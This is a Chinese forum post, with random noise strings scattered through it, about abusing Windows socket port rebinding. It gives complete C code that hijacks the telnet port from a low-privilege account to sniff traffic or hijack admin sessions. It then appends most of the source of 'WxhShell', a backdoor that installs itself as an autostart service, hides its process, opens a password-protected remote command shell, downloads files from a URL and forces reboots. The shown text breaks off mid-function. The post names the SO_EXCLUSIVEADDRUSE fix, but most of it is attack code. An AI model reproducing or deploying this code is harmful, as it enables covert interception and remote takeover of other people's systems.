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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: zZ+LisSs&  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); z)<pqN  
0LHiOav  
  saddr.sin_family = AF_INET; j]F#p R}p  
bKt3x+x(  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); m[xf./@f{  
9a~BAH,j  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); &J&w4"0N'  
sNk>0 X[  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 wkZ2Y-#='  
;aRWJG  
  这意味着什么?意味着可以进行如下的攻击: c9g\7L,Z  
y/sWy1P7  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Am=PUQF$  
K` _E>k  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) C#?d=x  
#;*ai\6>vD  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ry'^1~,  
=<FZ{4  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  x]d"|jmVZ  
z5*O@_r+.b  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 f $@".  
,tR'0&=  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 piiQ  
A_q3p\b  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 %"KWjwp  
HG3>RcB  
  #include f+*2K^B  
  #include R?9Plzt5  
  #include k;:u| s8NS  
  #include    F=T.*-oS3  
  DWORD WINAPI ClientThread(LPVOID lpParam);   pu)9"Ad[ G  
  int main() T#^6u)  
  {  B3+WOf5W  
  WORD wVersionRequested; ,l? 76g  
  DWORD ret; (uK), *6B  
  WSADATA wsaData; 0_zSQn9c  
  BOOL val; ZE(RvPW  
  SOCKADDR_IN saddr; y $ DB  
  SOCKADDR_IN scaddr; ;o@`l$O   
  int err; 2u;fT{(  
  SOCKET s; jeBj   
  SOCKET sc; +#db_k  
  int caddsize;  p|8Fl  
  HANDLE mt; 7<Js'\Z  
  DWORD tid;   +bd{W]={  
  wVersionRequested = MAKEWORD( 2, 2 ); ,Y5 4(>>%  
  err = WSAStartup( wVersionRequested, &wsaData ); 5'Ay@FJ:  
  if ( err != 0 ) { !skWe~/  
  printf("error!WSAStartup failed!\n"); 9*Twx&  
  return -1; <:7e4#  
  } lz0]p  
  saddr.sin_family = AF_INET; 4_:e+ ql  
   KQZRzX>0  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 %t|2GIu  
cCKda3v!O  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); B=/=U7T  
  saddr.sin_port = htons(23); ghQsS|)p.  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;RZa<2  
  { jtpNo~O  
  printf("error!socket failed!\n"); kV%y%l(6  
  return -1; (xJBN?NRO  
  } \`9|~!,Ix7  
  val = TRUE; .z7f_KX^  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 /!8:/7r+W  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) J@{ Bv%  
  { Ds5&5&af  
  printf("error!setsockopt failed!\n"); (P] ^5D  
  return -1; 93 b5S>&r  
  } m,_oX1h  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; >(Ddw N9l  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ,\RCgc  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Dp'af4+%$  
~i {)J  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) I`lH6hHp  
  { $jL.TraV7  
  ret=GetLastError(); r2`?Ta  
  printf("error!bind failed!\n"); Ok"wec+,  
  return -1; 8u23@?  
  } :P'5_YSi  
  listen(s,2); ~.SU$  
  while(1) +eat,3Ji  
  { N#qoKY(#  
  caddsize = sizeof(scaddr); #jR?C9&!(  
  //接受连接请求 \EqO;A%<  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); N4FG_  N  
  if(sc!=INVALID_SOCKET) VAz+J  
  { uu#+|ZD  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); * tqeq y-X  
  if(mt==NULL) {<Zqw]  
  { <7h'MNf&  
  printf("Thread Creat Failed!\n"); }?$Mh)  
  break; EkPSG&6RZ  
  } {rr\hl-$  
  } Z r*ytbt  
  CloseHandle(mt); 6 >2! kM7  
  } }'JPA&h|  
  closesocket(s); !o7. L%S  
  WSACleanup(); QX/`s3N  
  return 0; L.(k8eX  
  }   <aS1bQgaU  
  DWORD WINAPI ClientThread(LPVOID lpParam) \>Q,AyL  
  { +z_0?x  
  SOCKET ss = (SOCKET)lpParam; P=GM7  
  SOCKET sc; EJsb{$u  
  unsigned char buf[4096]; GQQ6 t  
  SOCKADDR_IN saddr; @A%`\Ea%  
  long num; ny0`~bl{p  
  DWORD val; 0Oq1ay^  
  DWORD ret;  G%{jU'2  
  //如果是隐藏端口应用的话,可以在此处加一些判断 [ CY=  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   4D5)<3N=d'  
  saddr.sin_family = AF_INET; 16U@o>O  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); "@_f>3z  
  saddr.sin_port = htons(23); 0&|-wduR=  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 3FfS+q*3S  
  { "7d_$.Z  
  printf("error!socket failed!\n"); {1 mD(+pJ{  
  return -1; g|Cnj  
  } }OZfsYPz}T  
  val = 100; 0n%`Xb0q  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) gvX7+F=}B  
  { n/-I7Q!;u  
  ret = GetLastError(); L!5HE])<)  
  return -1; 43YusUv  
  } V3S`8VI  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,k4 (b  
  { )!Bv8&;e  
  ret = GetLastError(); e): &pqA  
  return -1; ;C3](  
  } [F e5a  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) >dO^pDSs  
  { p("do1:  
  printf("error!socket connect failed!\n"); _?8T'?-1  
  closesocket(sc); y_w4ei  
  closesocket(ss); %NuS!v>  
  return -1; @YRBZ6FH  
  } [>fE{ ~Y  
  while(1) j`bOJTBE  
  { SExd-=G  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Y0DBkg  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 }Q*8QV  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 *ZRQ4i[+  
  num = recv(ss,buf,4096,0); K.k=\N  
  if(num>0) 3 ;&N3:,X  
  send(sc,buf,num,0); crUXpD  
  else if(num==0) w%htY.-  
  break; %',. K)IR  
  num = recv(sc,buf,4096,0); Pp?J5HW  
  if(num>0) Pm-@ZZ~  
  send(ss,buf,num,0); o(}vR<tD\  
  else if(num==0) ;Q ]bV52  
  break; nlKWZYv  
  } 3S Dw-k  
  closesocket(ss); {epsiHK@tK  
  closesocket(sc); .Sm7na K  
  return 0 ; |[0|j/V%O  
  } R/iXO~/"J  
'/mwXvl  
8{'L:yzMY  
========================================================== e4t'3So  
dQt]r  
下边附上一个代码,,WXhSHELL YOqBIbp~&)  
rB-&'#3%  
========================================================== XB2[{XH,  
AFyf7^^k  
#include "stdafx.h" ! fY'^Ya?  
Z{|wjZb(  
#include <stdio.h> XK>B mq/]  
#include <string.h> Que-  
#include <windows.h> 0I1bY]*  
#include <winsock2.h>  RCKb5p9  
#include <winsvc.h> @#;2P'KL  
#include <urlmon.h> *1|&uE&_R  
&G:#7HX@-  
#pragma comment (lib, "Ws2_32.lib") YFeF(k!!n  
#pragma comment (lib, "urlmon.lib") ar }F^8Ku  
,iV|^]X3$/  
#define MAX_USER   100 // 最大客户端连接数 _DS_AW}D  
#define BUF_SOCK   200 // sock buffer sSU p7V  
#define KEY_BUFF   255 // 输入 buffer T|[zk.8=E  
rxJmK$qd  
#define REBOOT     0   // 重启 pKMy:j  
#define SHUTDOWN   1   // 关机 @uXF(KDX  
iLD}>=  
#define DEF_PORT   5000 // 监听端口 ')zdI]@ M  
M|xd9kA^  
#define REG_LEN     16   // 注册表键长度 0e-M 24,C  
#define SVC_LEN     80   // NT服务名长度 7b7@"Zw*  
 Em?bV(  
// 从dll定义API >|IUjv2L  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); [z=KHk  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 3@7IY4>o  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Z#+lwZD  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); h)7hk*I  
r2"B"%;  
// wxhshell配置信息 t*KgCk1  
struct WSCFG { -y]e`\+[  
  int ws_port;         // 监听端口 `3GYV|LeQ  
  char ws_passstr[REG_LEN]; // 口令 "h58I)O  
  int ws_autoins;       // 安装标记, 1=yes 0=no {{N*/ E^  
  char ws_regname[REG_LEN]; // 注册表键名 3M~*4  
  char ws_svcname[REG_LEN]; // 服务名 4b5'nu  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 !Z(3dtUy  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 6)5Akyz4V  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 bMU0h,|]  
int ws_downexe;       // 下载执行标记, 1=yes 0=no A43 mX !g\  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" @ (4$<><  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 df9 jT?l  
`YL)[t? V  
}; A*b>@>2  
u]`ur#_  
// default Wxhshell configuration NRIp@PIF:"  
struct WSCFG wscfg={DEF_PORT, ';,Rq9-'  
    "xuhuanlingzhe", J A!?vs  
    1, ^&8FwV]  
    "Wxhshell", Wy:xiP  
    "Wxhshell", 6Z ,GD  
            "WxhShell Service", NLnfCY-h  
    "Wrsky Windows CmdShell Service", L@VIC|~E  
    "Please Input Your Password: ", qE:/~Q0  
  1, "fH"U1Bw  
  "http://www.wrsky.com/wxhshell.exe", A*x3O%zH  
  "Wxhshell.exe" E=3UaYr  
    }; nA1059B  
YZ\a#s ,0  
// 消息定义模块 `514HgR  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 0cF +4,5  
char *msg_ws_prompt="\n\r? for help\n\r#>"; (Vz\02,K  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 8slOB>2#Y  
char *msg_ws_ext="\n\rExit."; u*"mdL2  
char *msg_ws_end="\n\rQuit."; v$JhC'  
char *msg_ws_boot="\n\rReboot..."; _+=M)lPm  
char *msg_ws_poff="\n\rShutdown..."; D #Ku5~j  
char *msg_ws_down="\n\rSave to "; wbImE;-Z  
u#bd*(  
char *msg_ws_err="\n\rErr!"; 4+1aW BJ2  
char *msg_ws_ok="\n\rOK!"; 0r/pZ3/  
]Oh8LcE#BF  
char ExeFile[MAX_PATH]; RX\l4H5;  
int nUser = 0; %pd-{KR  
HANDLE handles[MAX_USER]; ;}W-9=81  
int OsIsNt; c|hT\1XR,  
Et0[HotO  
SERVICE_STATUS       serviceStatus; K (!+l  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; kD?lMA__  
&i{>Li  
// 函数声明 e6y,)W"WW2  
int Install(void); vj#Y /B  
int Uninstall(void); ~9Jlb-*I5  
int DownloadFile(char *sURL, SOCKET wsh); GYJ lX  
int Boot(int flag); I}hY @  
void HideProc(void); 2leTEs5aK`  
int GetOsVer(void); Xe. az  
int Wxhshell(SOCKET wsl); > 3SZD  
void TalkWithClient(void *cs); :GBM`f@  
int CmdShell(SOCKET sock); Lbwc2Q,.-  
int StartFromService(void); H="E#AC%8/  
int StartWxhshell(LPSTR lpCmdLine); ^6kE tTO*  
WUfPLY_c(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @4FG & >kQ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ]Te,m}E  
8x/]H(J  
// 数据结构和表定义 1RM@~I$0  
SERVICE_TABLE_ENTRY DispatchTable[] = Ng 3r`S"_<  
{ \#%1t  
{wscfg.ws_svcname, NTServiceMain}, ?y`we6~\1  
{NULL, NULL} XhEJF !  
}; *rH# k?  
(;6vT'hE  
// 自我安装 @;1Ym\zc  
int Install(void) +5xVgIk#  
{ kl+^0i  
  char svExeFile[MAX_PATH]; (_.0g}2  
  HKEY key; q1_iV.G<  
  strcpy(svExeFile,ExeFile); P+2@,?9#  
d(!g9H  
// 如果是win9x系统,修改注册表设为自启动 {I^@BW-  
if(!OsIsNt) { DGrk}   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -RKqbfmi=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P g.j]  
  RegCloseKey(key); 6t!PHA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Nay&cOz  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); XFmTr@\M  
  RegCloseKey(key); "xxt_  
  return 0; hztxsvw  
    } ~M Mv+d88  
  } a]4h5kJ';  
} 5SQqE@g%  
else { Z#znA4;)  
t4[<N  
// 如果是NT以上系统,安装为系统服务 2Sb68hJIE  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 6i7+.#s  
if (schSCManager!=0) +JlPQ~5  
{ dW#T1mB  
  SC_HANDLE schService = CreateService 45aFH}w:  
  ( 2uT"LW/(H  
  schSCManager, ({!S!k  
  wscfg.ws_svcname, `:#IZ  
  wscfg.ws_svcdisp, Rn9e#_Az  
  SERVICE_ALL_ACCESS, z;Yo76P  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , MiN|u  
  SERVICE_AUTO_START, 3;Y 9<  
  SERVICE_ERROR_NORMAL, g|=1U  
  svExeFile, 0i4XS*vPv  
  NULL, yBkcYHT  
  NULL, F1GFn|OA  
  NULL, ./i5VBP5  
  NULL, }/J<#}t  
  NULL m bZn[D_zi  
  ); 8k9Yoht  
  if (schService!=0) opfg %*  
  { 34c+70x7  
  CloseServiceHandle(schService); K)N'~jCG  
  CloseServiceHandle(schSCManager); (;cKv  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); BK)3b6L=%  
  strcat(svExeFile,wscfg.ws_svcname); moCr4*jDX,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9][A1 +"  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); #7Jvk_r9Y  
  RegCloseKey(key); E++3GagdiD  
  return 0; w[]\%`69}Z  
    } ?%ei+  
  } (q}{;  
  CloseServiceHandle(schSCManager); u3C0!{v  
} 'b:UafV  
} ->r udRQ  
d$B+xW  
return 1; (Qd@Q,@(s  
} -'rb+<v  
v-&@c  
// 自我卸载 ge|Cv v  
int Uninstall(void) ;7U"wI_~c  
{ Y/]J0D  
  HKEY key; 3B5 `Y  
(V<pz2\  
if(!OsIsNt) { y\XWg`X y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { m+3]RIr&A  
  RegDeleteValue(key,wscfg.ws_regname); d6ckvD[  
  RegCloseKey(key); [/Xc},HbMe  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { seiE2F[  
  RegDeleteValue(key,wscfg.ws_regname); cF}9ldc  
  RegCloseKey(key); UUEbtZH;  
  return 0; C j:  
  } ,~>u<Wc!S  
} CGs5`a  
} J5SOPG  
else { ;"]?&ri  
+m4?a\U  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); qkD9xFp  
if (schSCManager!=0) V"5LNtf  
{ &24>9  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 15ImwQ  
  if (schService!=0) b X4]/4%  
  { YzYj/,?r  
  if(DeleteService(schService)!=0) { 0pA>w8mh  
  CloseServiceHandle(schService); gsVm)mkd  
  CloseServiceHandle(schSCManager); wj9 Hh  
  return 0; 3$P GLM  
  } S<>u  
  CloseServiceHandle(schService); SOeRQb'  
  } zfK3$|  
  CloseServiceHandle(schSCManager); ,S-zY\XB  
} z6'l" D'h  
} %i@Jw  
6B@{X^6y  
return 1; "2GssBa  
}  &W? hCr  
@.l?V6g9T  
// 从指定url下载文件 ;w^{PZBg  
int DownloadFile(char *sURL, SOCKET wsh) P |;=dX#-  
{ =:Lc-y>  
  HRESULT hr; ::!{f+Up  
char seps[]= "/"; ]-g4C t_V  
char *token; -_fh=}.n+"  
char *file; PZhpp"  
char myURL[MAX_PATH]; <26Jif:  
char myFILE[MAX_PATH]; ef]60OtP  
k[/`G5  
strcpy(myURL,sURL); V,>uM >$  
  token=strtok(myURL,seps); 5j#XNc)"  
  while(token!=NULL) ){"-J&@?  
  { o '!WW  
    file=token; Tw!_=zy(Gw  
  token=strtok(NULL,seps); Schvwlm~i  
  } +t<'{KZ7;  
,Cj` 0v#  
GetCurrentDirectory(MAX_PATH,myFILE); at5=Zo[bP  
strcat(myFILE, "\\"); ( 2i{8  
strcat(myFILE, file); @1+({u#B  
  send(wsh,myFILE,strlen(myFILE),0); #B8V2_M  
send(wsh,"...",3,0); NEcE -7aT  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); j4!oBSp  
  if(hr==S_OK) btv.M  
return 0; 2JLXDkZ  
else F@jyTIS^  
return 1; d(;Qe}ok>  
m7NrS?7  
} hT[w" &3  
'A#F< x  
// 系统电源模块 %$}* y   
int Boot(int flag) pXq5|,aC  
{ 0j(/N  
  HANDLE hToken; B&4NdL/  
  TOKEN_PRIVILEGES tkp; g;t>jgX  
1g bqHxWI  
  if(OsIsNt) { |(O _K(  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); GJbU1k]  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 9{XC9 \~  
    tkp.PrivilegeCount = 1; q5u"v  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @#KZ2^  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~91) DNaE  
if(flag==REBOOT) { V~_aM@q1  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) !i*bb~  
  return 0; ( | X?  
} \1cJ?/$_Of  
else { {G(N vf,K]  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) vILq5iR  
  return 0; @>SirYh  
} ]Z#=w  
  } )H`1CcT  
  else { z 2Rg`1B  
if(flag==REBOOT) { Y76UhtYH  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) !pG_MO  
  return 0; l8Ks{(wh  
} B0#JX MX9  
else { Rw#4 |&  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) si.w1  
  return 0; KG8Km  
} P<{N)H 2r  
} }[m,HA<j  
v6q oH)n  
return 1; szW85{<+  
} fkmN?CU{1%  
i $:QOMA  
// win9x进程隐藏模块 "de3S bj@?  
void HideProc(void) y o |"-  
{ XlGDv*d:#d  
(np60mX<  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); z c7P2@  
  if ( hKernel != NULL ) ,/ bv3pE  
  { 01/yog  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); /6PL  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1L\\](^ 3  
    FreeLibrary(hKernel); xpjv @P  
  } D?:AHj%gW  
q"O4}4`  
return; u~y0H  
} "fTW2D74  
suP/I?4'@  
// 获取操作系统版本 'ZboLoS*-  
int GetOsVer(void) PBo;lg`  
{ ;H;c Sn5uL  
  OSVERSIONINFO winfo; 1o*eu&@  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); pX~X{JTaL)  
  GetVersionEx(&winfo); ndCHWhi  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) K[~fpQGbV1  
  return 1; ;:5Ahfo \  
  else ]6BV`r]  
  return 0; 8n1<nS<  
} DN%b!K:  
V0ig#?]  
// 客户端句柄模块 2Sg^SZFH+o  
int Wxhshell(SOCKET wsl) pDloew  
{ R@[gkj  
  SOCKET wsh; [W#M(`}D  
  struct sockaddr_in client; R$Or&:E ^  
  DWORD myID; \J0fr'(S  
<<5x"W(,  
  while(nUser<MAX_USER) aR0'$*3E  
{ 7i@vj7K  
  int nSize=sizeof(client); A0f98 ?j^  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); p}:"@6  
  if(wsh==INVALID_SOCKET) return 1; AwQ7Oz|(  
zY^QZceq"  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); (- QvlpZ  
if(handles[nUser]==0) a58]#L~  
  closesocket(wsh); % r>v^1Vo  
else !x@3U^${  
  nUser++; _ \LP P_  
  } &]_2tN=S$  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); I #8TY/XP  
px>g  
  return 0; Rxfhk,I  
} Fd(o8z8Q  
.2v)x  
// 关闭 socket GJo`9  
void CloseIt(SOCKET wsh) __OH gp 1  
{ _>=QZ`!r  
closesocket(wsh); (BG wBL  
nUser--; L2}p<?f  
ExitThread(0); z\zqmW6  
} .jK,6't^  
 57`*5X  
// 客户端请求句柄 `\Ye:$q  
void TalkWithClient(void *cs) {wwkbc*  
{ t}x^*I$*  
bb}$7v`G  
  SOCKET wsh=(SOCKET)cs; Ca k-J~=  
  char pwd[SVC_LEN]; FwaYp\z  
  char cmd[KEY_BUFF]; 5q95.rw  
char chr[1]; + )lkHv$R  
int i,j; ,/Usyb,`  
/Ps5Og  
  while (nUser < MAX_USER) { D9/PVd&#  
|:)ARH6l#  
if(wscfg.ws_passstr) { ? e<D +  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); MG(qQ#;j/  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Zy&?.d[z  
  //ZeroMemory(pwd,KEY_BUFF); GS&iSjw  
      i=0; )FSa]1t;x  
  while(i<SVC_LEN) { c6~<vV'}  
Gq0Q}[53  
  // 设置超时 _4-UM2o;  
  fd_set FdRead; s^zX9IVnp  
  struct timeval TimeOut; :{'%I#k2  
  FD_ZERO(&FdRead); 7L !$hk  
  FD_SET(wsh,&FdRead); -v &  
  TimeOut.tv_sec=8; :=e"D;5  
  TimeOut.tv_usec=0; D5$| vv1  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); &E0L 2gbI  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); MR}h}JEx0  
Xn # v!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); r9y(j z  
  pwd=chr[0]; W+`T:Mgh  
  if(chr[0]==0xd || chr[0]==0xa) { Un^3%=;  
  pwd=0; C|-QU  
  break; .)[0yW&  
  } [/GCy0jk  
  i++; tr@)zM GB  
    } Ta NcnAY>9  
GFfZ TA  
  // 如果是非法用户,关闭 socket Ac8t>;=&  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Ee097A?1vj  
} |?<^4U8  
c$b~? Mx  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); v]c+|nRs  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u}eLf'^ZCe  
?4H>1Wkb  
while(1) { XkEE55#>|  
"/0Vvy_|  
  ZeroMemory(cmd,KEY_BUFF); W_RN@O  
NT;cTa=;  
      // 自动支持客户端 telnet标准   /33m6+  
  j=0; SmCtwcB1  
  while(j<KEY_BUFF) { l9vJ]   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  >B$J  
  cmd[j]=chr[0]; Y_,Tm  
  if(chr[0]==0xa || chr[0]==0xd) { z6uHe{|  
  cmd[j]=0; *yqke<o9)  
  break; ES ?6  
  } C8AR ^F W  
  j++; /amWf^z  
    } Z7J4r TA  
Rv Uw,=  
  // 下载文件 gPcOm b  
  if(strstr(cmd,"http://")) { vpz l{  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); D8\9nHUD`  
  if(DownloadFile(cmd,wsh)) >Y=qSg>Ik  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); _|wnmeL*  
  else XVzsqi*Z  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K8{ef  
  } _3zJ.%  
  else { 9\!=i  
`2hLs _  
    switch(cmd[0]) { .Z(Q7j^  
  *X8Pa ;x  
  // 帮助 !112u#V  
  case '?': { Yd]  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); B_S))3   
    break; `Ln1g@  
  } V?"1&m& E  
  // 安装 kJpr:4;@_  
  case 'i': { GC7W7B  
    if(Install()) {=6CL'_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T$1(6<:+.  
    else 6f)7*j~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j<A<\K  
    break; @T] G5|\ok  
    } JfRqOEP4Y  
  // 卸载 A9y@v{txN  
  case 'r': { 't+'rG6x  
    if(Uninstall()) =\)76xC20  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T@mYHKu  
    else >%A~ :  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S^{tRPF%d  
    break; zQoJ8i>  
    } \ESNfL5  
  // 显示 wxhshell 所在路径 y\Wp} }  
  case 'p': { aB{OXU}#  
    char svExeFile[MAX_PATH]; 8i Ew;I_  
    strcpy(svExeFile,"\n\r"); BO0Y#fs  
      strcat(svExeFile,ExeFile); (dP9`Na]  
        send(wsh,svExeFile,strlen(svExeFile),0); kH?PEA! \  
    break; g ,yB^^%  
    } %' eaW  
  // 重启 1w#vy1m J  
  case 'b': { M$e$%kPShE  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Rm Q>.?  
    if(Boot(REBOOT)) )h1 `?q:5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m}t`43}QE  
    else { vy5I#q(k  
    closesocket(wsh); KN~Repcz@  
    ExitThread(0); @%!Gj{   
    } Hk?E0.  
    break; kfq<M7y  
    } %>t4ib_8  
  // 关机 4F+G;'JV  
  case 'd': { $E^*^({  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Ni#y=cb  
    if(Boot(SHUTDOWN)) %:y"o_X_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H%;pPkIi  
    else { 'grb@+w(  
